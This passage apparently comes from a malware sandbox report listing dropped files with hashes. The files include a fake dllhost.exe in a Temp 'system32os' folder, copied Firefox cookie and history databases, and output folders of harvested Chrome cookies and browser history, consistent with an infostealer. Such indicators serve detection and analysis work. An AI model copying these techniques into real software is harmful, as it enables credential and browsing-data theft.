                            • SHA256 3eeddef35412c2fba73d2e671ff394c2533b8467817f666636941441faf06aac
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 d24a117457996b12ec4b95371c40e32c7af610f74c81725bdccb8b09742b8cc1
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 8a3c0ea623f70b36896c1845cddae34484d7399fe699021f8218c8d4ec226682
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 2aed929b84cc293687adcff261f734d3309f5d4040b7b9e9793da579c30e18bd
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 f73a3e47a04da901dbdab95056442dc024e16e59442978f4f29a8ae3a86323f9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 31b9b1dfe955ec78dcbb4c23003e48742f69c9349a433763c870aecba7bc34e5
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 64a82cce8969e5901c0fffa46d1d4a3c12436190eed96ecc3bb55c0f12c4af8b
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 f0d6978fa077dfb676fae3ba0d023806f3dfa4057c9ccfdd214d83f1c32c7d96
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 df73255d5356f940309c06fcb2ccc53c081a23642976b3e31f7611f4b9dc31e4
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 c07cb6adc1f2aef25f1908625d313a7891515986d2a0b3e20733405889a148f8
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            Tigmgolm.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\Tigmgolm.zip
                            • Size 485KB
                            • SHA256 f54bfedcc136c773b497da6becabb93ccf201c06e9fa5888a0e52fd93cdf1635
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            Tigmgolm.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\Tigmgolm.zip
                            • Size 484KB
                            • SHA256 7929de0b3e5cf8f523c0e4a7d29677f5b92284f36b7575543213a1c5eea0d5d8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_2ve0hi3q.arh.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ve0hi3q.arh.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            firefox_cookies_temp.sqlite
                            • Path C:\Users\Admin\AppData\Local\Temp\firefox_cookies_temp.sqlite
                            • Size 96KB
                            • SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            firefox_history_temp.sqlite
                            • Path C:\Users\Admin\AppData\Local\Temp\firefox_history_temp.sqlite
                            • Size 5.0MB
                            • SHA256 a31bdd606824150ebe6074cda64c9697216a027005b88c6198460d39c36ce75d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            dllhost.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\system32os\dllhost.exe
                            • Size 2.1MB
                            • SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            cookies.json
                            • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.json
                            • Size 338B
                            • SHA256 8aef73f807ebb1c9fdbf06f287cf449742fb88667a44175edf530c9b3c6a4e53
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            cookies.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Chrome\Default\cookies.txt
                            • Size 365B
                            • SHA256 071fd71770d078522ab71abe9b306121b4eff8ea06c3dedf6bf29aa0e8405117
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            history.json
                            • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\6apqb380.default-release\history.json
                            • Size 489B
                            • SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            history.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\6apqb380.default-release\history.txt
                            • Size 522B
                            • SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/400-0-0x000002ACBA240000-0x000002ACBA250000-memory.dmp
                            Download

                            memory/400-7-0x000002ACBC330000-0x000002ACBC352000-memory.dmp
                            Download

                            memory/400-1-0x000002ACBA240000-0x000002ACBA250000-memory.dmp
                            Download

                            memory/1280-270-0x000001BF36530000-0x000001BF366D9000-memory.dmp
                            Download

                            memory/4048-14-0x000001826C050000-0x000001826C060000-memory.dmp
                            Download

                            memory/4048-13-0x000001826C050000-0x000001826C060000-memory.dmp
                            Download

                            memory/5072-189-0x00000282BF6E0000-0x00000282BF730000-memory.dmp
                            Download